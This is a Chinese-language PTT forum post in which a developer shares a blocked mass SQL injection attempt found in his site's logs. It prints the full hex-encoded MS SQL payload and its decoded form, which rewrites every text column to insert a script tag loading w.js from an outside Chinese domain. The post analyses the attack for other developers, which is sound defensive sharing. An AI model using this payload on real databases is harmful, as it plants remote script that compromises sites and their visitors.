看板 Database 關於我們 聯絡資訊
最近站上log紀錄到無差別sqj inection 攻擊 , 還好我們底層採用的是hibernate , 有作型別的過濾. 不過還是提出來和各位版友分享一下...:p 我們站上有個頁面的link是長得像這樣 spec_item.action?sid=123231300010162050 我們收到的log , 則是有人試圖用底下這樣的sid parameter 來闖關而被攔下來. 這其中夾雜一段預儲程序 , 他非常的長, 原始log是沒斷行,為了展示方便才斷行的. "211371000010162267';DECLARE @S CHAR(4000);SET @S= CAST(0x4445434C4152452040542076617263686172283235352 92C40432076617263686172283430303029204445434C415245205461626 C655F437572736F7220435552534F5220464F522073656C65637420612E6 E616D652C622E6E616D652066726F6D207379736F626A6563747320612C7 37973636F6C756D6E73206220776865726520612E69643D622E696420616 E6420612E78747970653D27752720616E642028622E78747970653D39392 06F7220622E78747970653D3335206F7220622E78747970653D323331206 F7220622E78747970653D31363729204F50454E205461626C655F4375727 36F72204645544348204E4558542046524F4D20205461626C655F4375727 36F7220494E544F2040542C4043205748494C4528404046455443485F535 4415455533D302920424547494E20657865632827757064617465205B272 B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C6 53E3C736372697074207372633D22687474703A2F2F777777322E7338303 0716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212 D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F742 06C696B6520272725223E3C2F7469746C653E3C736372697074207372633 D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F7 72E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4 558542046524F4D20205461626C655F437572736F7220494E544F2040542 C404320454E4420434C4F5345205461626C655F437572736F72204445414 C4C4F43415445205461626C655F437572736F72 AS CHAR(4000)); EXEC(@S);" 他將程式碼encode , 然後再透過 cast decode , 最後透過exec執行. 這是針對 ms sql 來的攻擊方案 , 我用ms sql decode這段code的 原始字串(當然不會傻到去執行他啦) 出來是長這樣(其中h ttp:// 為了避免有人誤點 , 刪掉// .) DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=''"></title> <script src="http:www2.s800qn.cn/csrss/w.js"></script> <!--''+['+@C+'] where '+@C+' not like ''%"></title> <script src="http:www2.s800qn.cn/csrss/w.js"></script><!--''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 也就是塞一段script進你的資料庫裡面... 有興趣的人可以google www2.s800qn.cn/csrss/w.js 看有多少站被hack. 這是弟coding經驗中 , 難得看到的實務攻擊 , 所以提出來聊作為分享. -- What do you want to have ? / What do you have? 從書本中,你可以發現我的各種興趣。 從CD中,你可以瞭解我所喜歡的偶像明星。 或許從文字你很難以瞭解一個人,但從物品可以。 My PPolis , My past. http://ppolis.tw/user/Tony -- ※ 發信站: 批踢踢實業坊(ptt.cc) ◆ From: 221.169.78.140
qrtt1:應該是 webwork 欄位轉換截住的 10/18 09:53